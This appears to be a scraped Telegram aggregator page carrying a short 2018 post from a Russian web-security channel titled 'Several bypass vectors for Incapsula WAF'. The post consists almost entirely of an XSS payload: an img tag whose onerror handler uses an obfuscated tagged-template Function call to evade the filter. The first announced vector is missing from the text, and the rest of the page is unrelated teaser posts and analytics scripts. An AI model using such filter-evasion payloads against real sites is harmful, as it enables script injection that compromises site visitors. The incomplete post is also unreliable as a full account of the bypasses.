Кавычка

3389

17 Авг 2018

Несколько векторов обхода для Incapsula WAF

И раз:

</p> <p>И два:</p> <p><img/src=q onerror='new Function`al\ert\`1\``'></p> </div> <div class="block-content block-content-full block-content-sm bg-body-light"> <a href="tg://resolve?domain=webpwn&post=144" class="btn btn-square btn-alt-primary btn-block"><i class="fa fa-paper-plane mr-5"></i> Открыть этот пост в Telegram</a> </div> </div> </div> </div> <div class="row justify-content-center mt-20"> <div class="col-md-6"> <h3 class="content-heading"> <i class="si si-bubbles mr-5"></i> Другие посты по теме... </h3> <div class="block"> <div class="block-content"> <table class="table table-hover table-vcenter"> <tbody> <tr> <td class="d-none d-sm-table-cell font-w600" style="width: 85px;"> <img class="img-avatar img-avatar64" src="https://cdn.telegoo.net/channels/UFCFI.png" alt="👊UFC👊"> </td> <td> <a class="font-w600" rel="nofollow" href="https://telegoo.net/channel/UFCFI/342495/post">👊UFC👊 <span class="text-muted">@UFCFI<span></a> <div class="text-muted mt-5"> ⚡️КЕВИН ЛИ: «ПЕРСПЕКТИВА БОЯ СО МНОЙ ПУГАЕТ ВСЮ КОМАНДУ ХАБИБА» Американский легковес UFC Кевин Ли (17-3) прокомментировал свою победу над Эдсоном Барбозой (19-6) и выразил уверенность в том, что ему по силам одолеть... </div> </td> </tr> <tr> <td class="d-none d-sm-table-cell font-w600" style="width: 85px;"> <img class="img-avatar img-avatar64" src="https://cdn.telegoo.net/channels/hochu_tebya.png" alt="Sex horoscope"> </td> <td> <a class="font-w600" rel="nofollow" href="https://telegoo.net/channel/hochu_tebya/1414002/post">Sex horoscope <span class="text-muted">@hochu_tebya<span></a> <div class="text-muted mt-5"> Жена недовольна продолжительности нашего секса, ей десяти минут мало. Устроила романтику, надеясь меня как-то раззадорить. заметил, что она что-то подсыпала в вино, сказала, чтобы я не волновался, проверенное средство... </div> </td> </tr> <tr> <td class="d-none d-sm-table-cell font-w600" style="width: 85px;"> <img class="img-avatar img-avatar64" src="https://cdn.telegoo.net/channels/evaevt.png" alt="Digital Eva"> </td> <td> <a class="font-w600" rel="nofollow" href="https://telegoo.net/channel/evaevt/140649/post">Digital Eva <span class="text-muted">@evaevt<span></a> <div class="text-muted mt-5"> Вот ещё несколько докладов со второго дня конференции: — «Убер-лайк» модели бизнеса: какие прибыльные и какие делать не надо, если нет кучи бабла. — Как в «Скаенге» меняют цены на уроки: если бы они меняли цены без... </div> </td> </tr> <tr> <td class="d-none d-sm-table-cell font-w600" style="width: 85px;"> <img class="img-avatar img-avatar64" src="https://cdn.telegoo.net/channels/Ytrus.png" alt="Мир YouTube"> </td> <td> <a class="font-w600" rel="nofollow" href="https://telegoo.net/channel/Ytrus/1267707/post">Мир YouTube <span class="text-muted">@Ytrus<span></a> <div class="text-muted mt-5"> Алексею Навальному задонатили почти 195 000 рублей во время его первого игрового стрима всего за несколько часов. Все средства пойдут в поддержку его предвыборной кампании. Такие дела. </div> </td> </tr> <tr> <td class="d-none d-sm-table-cell font-w600" style="width: 85px;"> <img class="img-avatar img-avatar64" src="https://cdn.telegoo.net/channels/iWallpaperPC.png" alt="iWallpaper PC"> </td> <td> <a class="font-w600" rel="nofollow" href="https://telegoo.net/channel/iWallpaperPC/1253099/post">iWallpaper PC <span class="text-muted">@iWallpaperPC<span></a> <div class="text-muted mt-5"> Всем привет, меня зовут Катя и я хотела бы поделиться с вами одной очень странной историей. У меня есть старший брат - Кирилл, ему 20 лет. Осенью этого года его исключили из института. История очень запутанная, но... </div> </td> </tr> </tbody> </table> </div> </div> </div> </div> </div> </main> <footer id="page-footer" class="bg-color3"> <div class="content py-10 font-size-xs clearfix text-white"> <div class="float-right"> Crafted with <i class="fa fa-heart text-pulse"></i> by <strong>Ggofr</strong>    <a href="//www.liveinternet.ru/click" target="_blank"><img id="licnt87C9" width="88" height="31" style="border:0" title="LiveInternet: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAEALAAAAAABAAEAAAIBTAA7" alt=""/></a><script>(function(d,s){d.getElementById("licnt87C9").src= "//counter.yadro.ru/hit?t17.2;r"+escape(d.referrer)+ ((typeof(s)=="undefined")?"":";s"+s.width+"*"+s.height+"*"+ (s.colorDepth?s.colorDepth:s.pixelDepth))+";u"+escape(d.URL)+ ";h"+escape(d.title.substring(0,150))+";"+Math.random()}) (document,screen)</script> </div> <div class="float-left pt-5"> <strong>Telegoo</strong> © <span class="js-year-copy">2018</span> </div> </div> </footer> </div> <script src="/js/core/jquery.min.js"></script> <script src="/js/core/bootstrap.bundle.min.js"></script> <script src="/js/core/jquery.slimscroll.min.js"></script> <script src="/js/core/jquery.scrollLock.min.js"></script> <script src="/js/codebase.js"></script>  <script type="text/javascript" > (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(69622390, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true }); </script> <noscript><div><img src="https://mc.yandex.ru/watch/69622390" style="position:absolute; left:-9999px;" alt="" /></div></noscript>  </body> </html>